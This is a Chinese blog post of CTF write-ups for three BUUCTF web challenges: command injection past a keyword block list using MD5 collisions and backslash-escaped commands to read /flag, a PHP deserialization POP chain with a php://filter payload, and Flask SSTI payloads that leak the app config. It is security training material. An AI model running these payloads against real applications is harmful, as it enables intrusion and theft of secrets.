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最新推荐文章于 2024-08-06 00:04:17 发布

pwfortune

最新推荐文章于 2024-08-06 00:04:17 发布

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点赞数 11

文章标签： ctf web buuctf

本文链接：https://blog.csdn.net/2302_80472909/article/details/140734929

版权

[安洵杯 2019]easy_web

查看源代码可以发现一长串的base64编码
在这里插入图片描述就是页面上的一张图片
回到原页面,url上面也有一些奇怪的参数

经过两次base64和一次hex 解密后得到 555.png
应该就是包含着页面上的这张图片
然后尝试将index.php 按照这样的方式编码, 看看能不能包含到
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
然后继续查看源码, 可以发现有一行base64的编码, 将其解密, 可以发现就是index.php的代码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi～ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

cmd 参数过滤了很多命令, 绕过过滤, 最后能够依靠反引号 `` 执行命令
然后就是需要绕过md5了
(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
无法依靠数组绕过, string 强制转换了 --> Array
正好之前积累了几个, 记住就行

<?php
$s1 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab";
$s2 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab";
$s3 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab";
var_dump(md5(urldecode($s1)));
var_dump(md5(urldecode($s2)));
var_dump(md5(urldecode($s3)));
//string(32) "ea8b4156874b91a4ef00c5ca3e4a4a34"
//string(32) "ea8b4156874b91a4ef00c5ca3e4a4a34"
//string(32) "ea8b4156874b91a4ef00c5ca3e4a4a34"

浏览器直接传好像不行, bp抓包再传
命令通过 \ 绕过 l\s
在这里插入图片描述

查看根目录, 可以发现flag
l\s%20/ 用%20代替空格
在这里插入图片描述

ca\t%20/flag 读取flag
在这里插入图片描述不过这道题里面应该是过滤了 \ 的, 理论上应该用不了, 可能哪里没做好, 导致放出来了,
不过也可以用其他的命令读取flag ,sort fold 等命令
读目录的话, 可以用 dir 读根目录也是一样dir%20/

在这里插入图片描述

[MRCTF2020]Ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

分析过程:
$a=new Show; 进入到 Show类里面的 __wakeup() , 有一个 preg_match 使source 为new Show
就进入到 __toString() , 然后再让 str 为 new Test 进入到 Test类里面的 __get() , 再使 p 为 new Modifier
进入到 Modifier类, 进入到 __invoke() 能够访问到需要的append()方法, 构造相应的值进行文件包含

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
    //利用伪协议读取文件
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}
$a = new Show();
$a->source=new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
//O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

将得到的值解码得到flag
在这里插入图片描述

[WesternCTF2018]shrine

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

/shrine 路由, 其中path:shrine是一个动态部分，可以匹配URL中的任意字符串（包括斜杠/），并将其作为参数shrine传递给函数shrine
ssti模板注入
在这里插入图片描述
s.replace('(', '').replace(')', '') 会去除上传的参数的括号 ()

s='hello()'
print(s.replace('(', '').replace(')',''))
# hello

过滤了() , 很多都用不了了, 代码里可以看到 flag 在 config里面 , 不需要去构造一些命令执行啥的
get_flashed_messages 和 url_for 可以获取 current_app -->当前的app

{{get_flashed_messages.__globals__['current_app'].config}}

{{url_for.__globals__['current_app'].config}}

在这里插入图片描述